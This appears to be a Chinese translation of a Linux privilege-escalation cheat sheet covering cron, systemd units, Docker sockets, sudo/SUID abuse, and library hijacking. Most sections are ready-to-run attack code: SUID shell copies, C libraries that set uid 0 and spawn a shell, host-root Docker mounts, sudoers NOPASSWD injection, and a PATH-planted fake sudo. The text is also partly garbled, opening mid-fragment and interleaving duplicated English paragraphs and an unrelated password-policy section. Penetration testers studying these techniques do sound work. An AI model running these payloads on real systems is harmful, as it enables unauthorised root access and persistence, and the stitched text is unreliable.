OpenSSH(活动SSH会话 - 使用sudo) | sshd: |
搜索正则表达式/truffleproc
# un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$
# coredumping pid 6174
Reading symbols from od...
Reading symbols from /usr/lib/systemd/systemd...
Reading symbols from /lib/systemd/libsystemd-shared-247.so...
Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
[...]
# extracting strings to /tmp/tmp.o6HV0Pl3fe
# finding secrets
# results in /tmp/tmp.o6HV0Pl3fe/results.txt
定时任务/计划任务
检查是否存在可利用的定时任务漏洞。也许你可以利用以root权限执行的脚本(通配符漏洞?可以修改root使用的文件吗?使用符号链接?在root使用的目录中创建特定文件?)。
crontab -l
ls -al /etc/cron* /etc/at*
cat /etc/cron* /etc/at* /etc/anacrontab /var/spool/cron/crontabs/root 2>/dev/null | grep -v "^#"
Cron路径
例如,在_/etc/crontab_文件中,你可以找到路径:PATH=/home/user:/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
(注意用户"user"对/home/user具有写权限)
如果在这个crontab中,root用户尝试执行一些没有设置路径的命令或脚本。例如:* * * * root overwrite.sh
那么,你可以使用以下方法获取root shell:
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > /home/user/overwrite.sh
#Wait cron job to be executed
/tmp/bash -p #The effective uid and gid to be set to the real uid and gid
使用带有通配符的脚本的Cron(通配符注入)
如果一个由root执行的脚本中的命令中有“*”,你可以利用这个漏洞来执行意外的操作(如权限提升)。例如:
rsync -a *.sh rsync://host.back/src/rbd #You can create a file called "-e sh myscript.sh" so the script will execute our script
如果通配符前面有路径,比如 /some/path/* ,它是不容易受到攻击的(甚至 ./* 也不容易受到攻击)。
阅读以下页面以了解更多通配符利用技巧:
{% content-ref url="wildcards-spare-tricks.md" %} wildcards-spare-tricks.md {% endcontent-ref %}
Cron脚本覆盖和符号链接
如果你可以修改由root执行的cron脚本,你可以非常容易地获得一个shell:
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed
/tmp/bash -p
如果由root执行的脚本使用了你拥有完全访问权限的目录,也许删除该文件夹并创建一个符号链接文件夹到另一个由你控制的脚本可能会有用。
ln -d -s </PATH/TO/POINT> </PATH/CREATE/FOLDER>
频繁的定时任务
您可以监视进程,以搜索每1、2或5分钟执行一次的进程。也许您可以利用它来提升特权。
例如,要在1分钟内每0.1秒监视一次,按照执行次数较少的命令进行排序,并删除已执行最多次数的命令,您可以执行以下操作:
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
你也可以使用 pspy (这将监视并列出每个启动的进程)。
隐形的cron任务
可以通过在注释后面插入一个回车符(没有换行符)来创建一个cron任务,这样cron任务就会起作用。示例(注意回车符):
#This is a comment inside a cron config file\r* * * * * echo "Surprise!"
服务
可写的 .service 文件
检查是否可以写入任何 .service
文件,如果可以,你可以修改它,以便在服务启动、重新启动或停止时执行你的后门(也许你需要等待机器重启)。
例如,在 .service 文件中创建你的后门,使用 ExecStart=/tmp/script.sh
可写的服务二进制文件
请记住,如果你对服务执行的二进制文件具有写权限,你可以将它们更改为后门,这样当服务被重新执行时,后门将被执行。
systemd 路径 - 相对路径
你可以使用以下命令查看 systemd 使用的路径:
systemctl show-environment
如果你发现你可以在路径的任何文件夹中进行写入操作,那么你可能能够提升权限。你需要搜索服务配置文件中使用的相对路径,例如:
ExecStart=faraday-server
ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I'
ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello"
然后,在你可以写入的systemd PATH文件夹中创建一个与相对路径二进制文件同名的可执行文件,当服务被要求执行易受攻击的操作(启动,停止,重新加载)时,你的后门将被执行(通常非特权用户无法启动/停止服务,但请检查是否可以使用sudo -l
)。
使用man systemd.service
了解更多关于服务的信息。
定时器
定时器是以**.timer**
结尾的systemd单元文件,用于控制**.service**
文件或事件。定时器可以作为cron的替代品,因为它们内置了对日历时间事件和单调时间事件的支持,并且可以异步运行。
你可以使用以下命令列举所有的定时器:
systemctl list-timers --all
可写定时器
如果你可以修改一个定时器,你可以让它执行一些已存在的systemd.unit(比如 .service
或 .target
)
Unit=backdoor.service
在文档中,您可以了解到什么是Unit:
当此计时器到期时要激活的Unit。参数是一个Unit名称,其后缀不是“.timer”。如果未指定,则此值默认为与计时器Unit具有相同名称的Service(除了后缀)。建议激活的Unit名称和计时器Unit的Unit名称相同,除了后缀。
因此,要滥用此权限,您需要:
- 找到一些systemd unit(例如
.service
),它正在执行一个可写的二进制文件 - 找到一些systemd unit,它正在执行一个相对路径,并且您对systemd PATH具有可写权限(以冒充该可执行文件)
通过man systemd.timer
了解更多关于计时器的信息。
启用计时器
要启用计时器,您需要root权限并执行以下操作:
sudo systemctl enable backu2.timer
Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer.
请注意,通过在 /etc/systemd/system/<WantedBy_section>.wants/<name>.timer
上创建符号链接来激活计时器。
套接字
简而言之,Unix套接字(技术上正确的名称是Unix域套接字,UDS)允许在同一台机器或不同机器上的客户端-服务器应用程序框架中的两个不同进程之间进行通信。更准确地说,它是使用标准Unix描述符文件在计算机之间进行通信的一种方式(来自这里)。
可以使用.socket
文件配置套接字。
使用man systemd.socket
了解更多关于套接字的信息。在此文件中,可以配置几个有趣的参数:
ListenStream
、ListenDatagram
、ListenSequentialPacket
、ListenFIFO
、ListenSpecial
、ListenNetlink
、ListenMessageQueue
、ListenUSBFunction
:这些选项不同,但概括起来用于指示它将在何处监听套接字(AF_UNIX套接字文件的路径、要监听的IPv4/6和/或端口号等)。Accept
:接受一个布尔值参数。如果为true,则为每个传入连接生成一个服务实例,并且只传递连接套接字给它。如果为false,则所有监听套接字本身都传递给启动的服务单元,并且为所有连接生成一个服务单元。对于数据报套接字和FIFO,其中一个服务单元无条件处理所有传入流量,此值将被忽略。默认为false。出于性能原因,建议仅以适合Accept=no
的方式编写新的守护程序。ExecStartPre
、ExecStartPost
:接受一个或多个命令行,在创建和绑定监听套接字/FIFO之前或之后执行。命令行的第一个标记必须是绝对文件名,然后是进程的参数。ExecStopPre
、ExecStopPost
:在关闭和删除监听套接字/FIFO之前或之后执行的附加命令。Service
:指定在传入流量上激活的服务单元名称。此设置仅允许用于Accept=no
的套接字。默认为与套接字同名的服务(后缀替换)。在大多数情况下,不需要使用此选项。
可写的.socket
文件
如果找到一个可写的.socket
文件,您可以在[Socket]
部分的开头添加类似于ExecStartPre=/home/kali/sys/backdoor
的内容,这样在创建套接字之前将执行后门。因此,您可能需要等待机器重启。
请注意,系统必须使用该套接字文件配置,否则后门将不会被执行。
可写的套接字
如果您发现任何可写的套接字(现在我们谈论的是Unix套接字,而不是配置的.socket
文件),那么您可以与该套接字进行通信,可能利用其中的漏洞。
枚举Unix套接字
netstat -a -p --unix
原始连接
Establishing a raw connection is a technique used in privilege escalation to gain higher levels of access on a target system. It involves establishing a direct connection to the target system without going through any intermediary services or protocols.
To establish a raw connection, you can use tools like netcat
or socat
. These tools allow you to create a network connection and interact with the target system directly.
Once you have established a raw connection, you can execute commands and perform actions on the target system with the privileges of the user account used to establish the connection. This can be useful for bypassing security measures and gaining unauthorized access to sensitive information or performing malicious activities.
It is important to note that establishing a raw connection may be detected by intrusion detection systems or monitored by system administrators. Therefore, it is crucial to use this technique responsibly and only in authorized scenarios, such as during penetration testing or when conducting security assessments.
#apt-get install netcat-openbsd
nc -U /tmp/socket #Connect to UNIX-domain stream socket
nc -uU /tmp/socket #Connect to UNIX-domain datagram socket
#apt-get install socat
socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type
漏洞利用示例:
{% content-ref url="socket-command-injection.md" %} socket-command-injection.md {% endcontent-ref %}
HTTP套接字
请注意,可能有一些监听HTTP请求的套接字(我不是指.socket文件,而是充当Unix套接字的文件)。您可以使用以下命令进行检查:
curl --max-time 2 --unix-socket /pat/to/socket/files http:/index
如果套接字响应一个HTTP请求,那么你可以与它进行通信,也许可以利用一些漏洞。
可写的Docker套接字
Docker套接字通常位于/var/run/docker.sock
,只有root
用户和docker
组有写权限。
如果由于某种原因你对该套接字拥有写权限,你可以提升权限。
以下命令可用于提升权限:
docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh
使用无需docker包的docker web API套接字
如果您可以访问docker套接字但无法使用docker二进制文件(可能甚至未安装),您可以直接使用curl
使用web API。
以下命令是一个示例,演示如何创建一个挂载主机系统根目录的docker容器,并使用socat
在新的docker中执行命令。
# List docker images
curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json
#[{"Containers":-1,"Created":1588544489,"Id":"sha256:<ImageID>",...}]
# Send JSON to docker API to create the container
curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"<ImageID>","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create
#{"Id":"<NewContainerID>","Warnings":[]}
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/<NewContainerID>/start
最后一步是使用 socat
启动与容器的连接,发送一个 "attach" 请求。
socat - UNIX-CONNECT:/var/run/docker.sock
POST /containers/<NewContainerID>/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp
#HTTP/1.1 101 UPGRADED
#Content-Type: application/vnd.docker.raw-stream
#Connection: Upgrade
#Upgrade: tcp
现在,您可以通过这个socat
连接在容器上执行命令。
其他
请注意,如果您具有对docker套接字的写权限,因为您在docker
组内,您有更多提升权限的方法。如果docker API正在监听一个端口,您也可以利用它进行攻击。
在以下链接中查看更多从docker中突破或滥用它提升权限的方法:
{% content-ref url="docker-security/" %} docker-security {% endcontent-ref %}
Containerd (ctr)提权
如果您发现可以使用**ctr
命令,请阅读以下页面,因为您可能能够滥用它来提升权限**:
{% content-ref url="containerd-ctr-privilege-escalation.md" %} containerd-ctr-privilege-escalation.md {% endcontent-ref %}
RunC提权
如果您发现可以使用**runc
命令,请阅读以下页面,因为您可能能够滥用它来提升权限**:
{% content-ref url="runc-privilege-escalation.md" %} runc-privilege-escalation.md {% endcontent-ref %}
D-Bus
D-Bus是一个进程间通信(IPC)系统,提供了一个简单而强大的机制,允许应用程序相互通信、交换信息和请求服务。D-Bus从头开始设计,以满足现代Linux系统的需求。
作为一个功能齐全的IPC和对象系统,D-Bus有几个预期的用途。首先,D-Bus可以执行基本的应用程序IPC,允许一个进程将数据传输给另一个进程-类似于功能强化的UNIX域套接字。其次,D-Bus可以通过系统发送事件或信号,允许系统中的不同组件进行通信,并最终更好地集成。例如,蓝牙守护程序可以发送一个来电信号,您的音乐播放器可以拦截该信号,将音量静音直到通话结束。最后,D-Bus实现了一个远程对象系统,允许一个应用程序从不同的对象请求服务和调用方法-类似于没有复杂性的CORBA。(来自这里)。
D-Bus使用允许/拒绝模型,其中每个消息(方法调用、信号发射等)可以根据与之匹配的所有策略规则的总和进行允许或拒绝。策略中的每个规则应该设置own
、send_destination
或receive_sender
属性。
/etc/dbus-1/system.d/wpa_supplicant.conf
策略的一部分:
<policy user="root">
<allow own="fi.w1.wpa_supplicant1"/>
<allow send_destination="fi.w1.wpa_supplicant1"/>
<allow send_interface="fi.w1.wpa_supplicant1"/>
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy>
因此,如果策略以任何方式允许您的用户与总线进行交互,您可能能够利用它来提升权限(也许只是查找一些密码?)。
请注意,未指定任何用户或组的策略会影响所有人(<policy>
)。
对于上下文为"default"的策略,会影响未受其他策略影响的所有人(<policy context="default"
)。
在此了解如何枚举和利用 D-Bus 通信:
{% content-ref url="d-bus-enumeration-and-command-injection-privilege-escalation.md" %} d-bus-enumeration-and-command-injection-privilege-escalation.md {% endcontent-ref %}
网络
枚举网络并确定机器的位置总是很有趣。
通用枚举
#Hostname, hosts and DNS
cat /etc/hostname /etc/hosts /etc/resolv.conf
dnsdomainname
#Content of /etc/inetd.conf & /etc/xinetd.conf
cat /etc/inetd.conf /etc/xinetd.conf
#Interfaces
cat /etc/networks
(ifconfig || ip a)
#Neighbours
(arp -e || arp -a)
(route || ip n)
#Iptables rules
(timeout 1 iptables -L 2>/dev/null; cat /etc/iptables/* | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null)
#Files used by network services
lsof -i
开放端口
在访问之前,始终检查无法与之交互的机器上运行的网络服务:
(netstat -punta || ss --ntpu)
(netstat -punta || ss --ntpu) | grep "127.0"
嗅探
检查是否可以嗅探流量。如果可以,你可能能够获取一些凭据。
timeout 1 tcpdump
用户
通用枚举
检查你是谁,你拥有哪些特权,系统中有哪些用户,哪些用户可以登录,哪些用户拥有root特权:
#Info about me
id || (whoami && groups) 2>/dev/null
#List all users
cat /etc/passwd | cut -d: -f1
#List users with console
cat /etc/passwd | grep "sh$"
#List superusers
awk -F: '($3 == "0") {print}' /etc/passwd
#Currently logged users
w
#Login history
last | tail
#Last log of each user
lastlog
#List all users and their groups
for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | sort
#Current user PGP keys
gpg --list-keys 2>/dev/null
大 UID
一些Linux版本受到了一个bug的影响,允许具有UID > INT_MAX的用户提升权限。更多信息:这里,这里和这里。
使用以下方法利用它:systemd-run -t /bin/bash
组
检查是否是某个组的成员,该组可能授予您root权限:
{% content-ref url="interesting-groups-linux-pe/" %} interesting-groups-linux-pe {% endcontent-ref %}
剪贴板
检查剪贴板中是否有任何有趣的内容(如果可能的话)
if [ `which xclip 2>/dev/null` ]; then
echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null`
echo "Highlighted text: "`xclip -o 2>/dev/null`
elif [ `which xsel 2>/dev/null` ]; then
echo "Clipboard: "`xsel -ob 2>/dev/null`
echo "Highlighted text: "`xsel -o 2>/dev/null`
else echo "Not found xsel and xclip"
fi
密码策略
A strong password policy is essential for maintaining the security of a system. It helps prevent unauthorized access and protects sensitive information. Here are some key elements to consider when implementing a password policy:
-
Password Complexity: Require passwords to be a combination of uppercase and lowercase letters, numbers, and special characters. This makes it harder for attackers to guess or crack passwords.
-
Password Length: Set a minimum password length to ensure that passwords are not easily guessable. A longer password is generally more secure.
-
Password Expiration: Enforce regular password changes to reduce the risk of compromised passwords. Users should be prompted to change their passwords after a certain period of time.
-
Password History: Prevent users from reusing their previous passwords. This helps ensure that compromised passwords cannot be reused.
-
Account Lockout: Implement an account lockout policy to protect against brute-force attacks. After a certain number of failed login attempts, the account should be locked for a specified period of time.
-
Two-Factor Authentication: Consider implementing two-factor authentication (2FA) to add an extra layer of security. This requires users to provide a second form of verification, such as a code sent to their mobile device, in addition to their password.
By implementing a strong password policy, you can significantly enhance the security of your system and protect against unauthorized access.
grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs
已知密码
如果你知道环境中的任何密码,尝试使用密码登录每个用户。
Su暴力破解
如果不介意制造很多噪音,并且计算机上存在su
和timeout
二进制文件,你可以尝试使用su-bruteforce来暴力破解用户。
Linpeas使用-a
参数也可以尝试暴力破解用户。
可写的PATH滥用
$PATH
如果你发现你可以在$PATH的某个文件夹中写入内容,你可以通过在可写文件夹中创建一个名为将由不同用户(最好是root)执行的某个命令的后门来提升权限,并且该命令不是从位于你的可写文件夹之前的文件夹加载的。
SUDO和SUID
你可能被允许使用sudo执行某些命令,或者它们可能具有suid位。使用以下命令进行检查:
sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries
一些意外的命令允许您读取和/或写入文件,甚至执行命令。例如:
sudo awk 'BEGIN {system("/bin/sh")}'
sudo find /etc -exec sh -i \;
sudo tcpdump -n -i lo -G1 -w /dev/null -z ./runme.sh
sudo tar c a.tar -I ./runme.sh a
ftp>!/bin/sh
less>! <shell_comand>
NOPASSWD
Sudo配置可能允许用户在不知道密码的情况下以另一个用户的特权执行某些命令。
$ sudo -l
User demo may run the following commands on crashlab:
(root) NOPASSWD: /usr/bin/vim
在这个例子中,用户demo
可以以root
身份运行vim
,现在只需将一个ssh密钥添加到根目录或调用sh
即可轻松获得一个shell。
sudo vim -c '!sh'
SETENV
此指令允许用户在执行某个操作时设置环境变量:
$ sudo -l
User waldo may run the following commands on admirer:
(ALL) SETENV: /opt/scripts/admin_tasks.sh
这个例子,基于HTB机器Admirer,存在PYTHONPATH劫持漏洞,可以在以root权限执行脚本时加载任意Python库:
sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh
绕过路径执行Sudo
跳转到其他文件或使用符号链接。例如,在sudoers文件中:hacker10 ALL= (root) /bin/less /var/log/*
sudo less /var/logs/anything
less>:e /etc/shadow #Jump to read other files using privileged less
ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file
如果使用了通配符(*),那就更容易了:
sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files
对策:https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/
未指定命令路径的Sudo命令/SUID二进制文件
如果给予一个单独的命令sudo权限而没有指定路径:hacker10 ALL= (root) less,你可以通过更改PATH变量来利用它。
export PATH=/tmp:$PATH
#Put your backdoor in /tmp and name it "less"
sudo less
这种技术也可以用于suid二进制文件在不指定路径的情况下执行另一个命令(始终使用strings检查奇怪的SUID二进制文件的内容)。
带有命令路径的SUID二进制文件
如果suid二进制文件指定路径执行另一个命令,那么你可以尝试导出一个函数,函数名与suid文件调用的命令相同。
例如,如果一个suid二进制文件调用了_/usr/sbin/service apache2 start_,你需要尝试创建并导出该函数:
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service
然后,当你调用suid二进制文件时,这个函数将被执行。
LD_PRELOAD和LD_LIBRARY_PATH
LD_PRELOAD是一个可选的环境变量,包含一个或多个共享库或共享对象的路径,加载器将在任何其他共享库之前加载它们,包括C运行时库(libc.so)。这被称为预加载库。
为了防止这种机制被用作_suid/sgid_可执行二进制文件的攻击向量,如果_ruid != euid_,加载器将忽略_LD_PRELOAD_。对于这样的二进制文件,只有标准路径中也是_suid/sgid_的库才会被预加载。
如果你在**sudo -l
**的输出中找到句子:env_keep+=LD_PRELOAD,并且你可以使用sudo调用某些命令,你可以提升权限。
Defaults env_keep += LD_PRELOAD
保存为 /tmp/pe.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}
然后使用以下命令进行编译:
cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles
最后,运行提升权限
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
{% hint style="danger" %} 如果攻击者控制LD_LIBRARY_PATH环境变量,那么类似的权限提升攻击可以被滥用,因为攻击者可以控制库文件的搜索路径。 {% endhint %}
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
# Compile & execute
cd /tmp
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp <COMMAND>
SUID二进制文件 - .so注入
如果你发现一些具有SUID权限的奇怪二进制文件,你可以检查所有的**.so文件是否正确加载**。为了这样做,你可以执行以下命令:
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
例如,如果你发现类似这样的内容:pen("/home/user/.config/libcalc.so", O_RDONLY) = -1 ENOENT (No such file or directory),你可以利用它。
创建文件 /home/user/.config/libcalc.c,其中包含以下代码:
#include <stdio.h>
#include <stdlib.h>
static void inject() __attribute__((constructor));
void inject(){
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
使用以下命令进行编译:
gcc -shared -o /home/user/.config/libcalc.so -fPIC /home/user/.config/libcalc.c
共享对象劫持
Shared Object Hijacking (SOH) is a technique used to escalate privileges on a Linux system by exploiting the way dynamic libraries are loaded. When a program is executed, it may depend on certain shared libraries to function properly. These libraries are loaded dynamically at runtime.
共享对象劫持(SOH)是一种利用动态库加载方式的技术,用于在Linux系统上提升权限。当执行一个程序时,它可能依赖于某些共享库以正常运行。这些库在运行时动态加载。
An attacker can take advantage of this by placing a malicious shared object in a directory that is searched by the system's dynamic linker/loader. When the target program is executed, the malicious shared object is loaded instead of the legitimate one, allowing the attacker to execute arbitrary code with the privileges of the target program.
攻击者可以利用这一点,在系统的动态链接器/加载器搜索的目录中放置一个恶意共享对象。当执行目标程序时,恶意共享对象会被加载,而不是合法的对象,从而允许攻击者以目标程序的权限执行任意代码。
To perform a shared object hijacking attack, the attacker needs to identify a target program that loads shared libraries dynamically and determine the directories searched by the dynamic linker/loader. Once these directories are identified, the attacker can place a malicious shared object with the same name as the legitimate one in one of these directories.
要执行共享对象劫持攻击,攻击者需要识别一个动态加载共享库的目标程序,并确定动态链接器/加载器搜索的目录。一旦确定了这些目录,攻击者可以在其中一个目录中放置一个与合法对象同名的恶意共享对象。
When the target program is executed, the dynamic linker/loader will search for the shared object in the directories in a specific order. If the attacker's malicious shared object is found first, it will be loaded instead of the legitimate one, giving the attacker control over the execution of the target program.
当执行目标程序时,动态链接器/加载器将按照特定顺序在目录中搜索共享对象。如果攻击者的恶意共享对象首先被找到,它将被加载,而不是合法的对象,从而使攻击者能够控制目标程序的执行。
To prevent shared object hijacking, it is important to ensure that only trusted directories are searched by the dynamic linker/loader. This can be achieved by properly configuring the system's library search path and removing unnecessary or insecure directories from the search path.
为了防止共享对象劫持,重要的是确保只有受信任的目录被动态链接器/加载器搜索。可以通过正确配置系统的库搜索路径并从搜索路径中删除不必要或不安全的目录来实现这一点。
# Lets find a SUID using a non-standard library
ldd some_suid
something.so => /lib/x86_64-linux-gnu/something.so
# The SUID also loads libraries from a custom location where we can write
readelf -d payroll | grep PATH
0x000000000000001d (RUNPATH) Library runpath: [/development]
现在我们已经找到了一个SUID二进制文件,它从一个我们可以写入的文件夹中加载库。让我们在该文件夹中创建一个具有必要名称的库:
//gcc src.c -fPIC -shared -o /development/libshared.so
#include <stdio.h>
#include <stdlib.h>
static void hijack() __attribute__((constructor));
void hijack() {
setresuid(0,0,0);
system("/bin/bash -p");
}
如果你遇到类似以下错误的情况:
./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name
这意味着你生成的库需要有一个名为a_function_name
的函数。
GTFOBins
GTFOBins是一个精选的Unix二进制文件列表,攻击者可以利用这些二进制文件来绕过本地安全限制。GTFOArgs是相同的,但仅适用于只能在命令中注入参数的情况。
该项目收集了Unix二进制文件的合法函数,可以被滥用以打破受限制的shell、提升或保持提升的特权、传输文件、生成绑定和反向shell,并促进其他后渗透任务。
gdb -nx -ex '!sh' -ex quit
sudo mysql -e '! /bin/sh'
strace -o /dev/null /bin/sh
sudo awk 'BEGIN {system("/bin/sh")}'
{% embed url="https://gtfobins.github.io/" %}
{% embed url="https://gtfoargs.github.io/" %}
FallOfSudo
如果你可以访问sudo -l
,你可以使用工具FallOfSudo来检查是否找到了如何利用任何sudo规则的方法。
重用Sudo令牌
在以下场景中,你作为一个具有sudo特权的用户拥有一个shell,但你不知道该用户的密码,你可以等待他/她使用sudo
执行某个命令。然后,你可以访问使用sudo的会话的令牌,并使用它来执行任何sudo命令(特权升级)。
提升特权的要求:
- 你已经作为用户"sampleuser"拥有一个shell
- "sampleuser"在**过去的15分钟内使用了
sudo
**来执行某些操作(默认情况下,这是sudo令牌的持续时间,允许我们在不输入任何密码的情况下使用sudo
) cat /proc/sys/kernel/yama/ptrace_scope
的值为0- 可以访问
gdb
(你可以上传它)
(你可以使用echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope
临时启用ptrace_scope
,或者永久修改/etc/sysctl.d/10-ptrace.conf
并设置kernel.yama.ptrace_scope = 0
)
如果满足所有这些要求,你可以使用:https://github.com/nongiach/sudo_inject
- 第一个利用(
exploit.sh
)将在/tmp
中创建二进制文件activate_sudo_token
。你可以使用它来在你的会话中激活sudo令牌(你不会自动获得root shell,请执行sudo su
):
bash exploit.sh
/tmp/activate_sudo_token
sudo su
- 第二个漏洞利用 (
exploit_v2.sh
) 将在 /tmp 目录下创建一个由 root 拥有并设置了 setuid 的 sh shell
bash exploit_v2.sh
/tmp/sh -p
- 第三个漏洞利用 (
exploit_v3.sh
) 将创建一个 sudoers 文件,使 sudo 令牌永久有效,并允许所有用户使用 sudo。
bash exploit_v3.sh
sudo su
/var/run/sudo/ts/<用户名>
如果您对该文件夹或文件夹中的任何创建的文件具有写权限,您可以使用二进制文件write_sudo_token来为用户和PID创建sudo令牌。
例如,如果您可以覆盖文件_/var/run/sudo/ts/sampleuser_,并且您以该用户的PID 1234拥有一个shell,您可以通过以下方式获取sudo特权,而无需知道密码:
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
/etc/sudoers, /etc/sudoers.d
文件/etc/sudoers
和/etc/sudoers.d
中的文件配置了谁可以使用sudo
以及如何使用。这些文件默认情况下只能被root用户和root组读取。
如果你能够读取这个文件,你可能能够获取一些有趣的信息,如果你能够写入任何文件,你将能够提升权限。
ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/
如果你能写入,你可以滥用这个权限
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
另一种滥用这些权限的方法是:
# makes it so every terminal can sudo
echo "Defaults !tty_tickets" > /etc/sudoers.d/win
# makes it so sudo never times out
echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win
DOAS
有一些替代 sudo
二进制文件的选择,比如适用于 OpenBSD 的 doas
,请记得检查其配置文件位于 /etc/doas.conf
。
permit nopass demo as root cmd vim
Sudo劫持
如果你知道一个用户通常连接到一台机器并使用sudo
来提升权限,而且你已经在该用户的上下文中获得了一个shell,那么你可以创建一个新的sudo可执行文件,它将以root权限执行你的代码,然后执行用户的命令。然后,修改用户上下文的$PATH(例如在.bash_profile中添加新路径),这样当用户执行sudo时,你的sudo可执行文件就会被执行。
请注意,如果用户使用的是不同的shell(不是bash),你需要修改其他文件来添加新路径。例如sudo-piggyback修改了~/.bashrc
、~/.zshrc
、~/.bash_profile
。你可以在bashdoor.py中找到另一个示例。
或者运行类似以下的命令:
cat >/tmp/sudo <<EOF
#!/bin/bash
/usr/bin/sudo whoami > /tmp/privesc
/usr/bin/sudo "\$@"
EOF
chmod +x /tmp/sudo
echo ‘export PATH=/tmp:$PATH’ >> $HOME/.zshenv # or ".bashrc" or any other
# From the victim
zsh
echo $PATH
sudo ls
共享库
ld.so
文件/etc/ld.so.conf
指示了加载的配置文件的位置。通常,该文件包含以下路径:include /etc/ld.so.conf.d/*.conf
这意味着将读取/etc/ld.so.conf.d/*.conf
中的配置文件。这些配置文件指向其他文件夹,其中将搜索库。例如,/etc/ld.so.conf.d/libc.conf
的内容是/usr/local/lib
。这意味着系统将在/usr/local/lib
中搜索库。
如果由于某种原因,用户对所指示的任何路径:/etc/ld.so.conf
,/etc/ld.so.conf.d/
,/etc/ld.so.conf.d/
中的任何文件或/etc/ld.so.conf.d/*.conf
中的配置文件中的任何文件夹具有写权限,他可能能够提升权限。
请查看以下页面上如何利用此配置错误:
{% content-ref url="ld.so.conf-example.md" %} ld.so.conf-example.md {% endcontent-ref %}
RPATH
level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
0x00000001 (NEEDED) Shared library: [libc.so.6]
0x0000000f (RPATH) Library rpath: [/var/tmp/flag15]
level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 => (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000)
通过将lib复制到/var/tmp/flag15/
中,程序将在此位置使用它,如RPATH
变量中指定的那样。
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
level15@nebula:/home/flag15$ ldd ./flag15
linux-gate.so.1 => (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000)
然后在/var/tmp
目录下使用gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6
命令创建一个恶意库。
#include<stdlib.h>
#define SHELL "/bin/sh"
int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
char *file = SHELL;
char *argv[] = {SHELL,0};
setresuid(geteuid(),geteuid(), geteuid());
execve(file,argv,0);
}
权限提升
Linux的capabilities为进程提供了一部分可用的root权限。这有效地将root权限分解为更小且独立的单元。然后可以将这些单元独立地授予进程。这样可以减少完整权限集,降低利用风险。 阅读以下页面以了解更多关于capabilities以及如何滥用它们的信息:
{% content-ref url="linux-capabilities.md" %} linux-capabilities.md {% endcontent-ref %}
目录权限
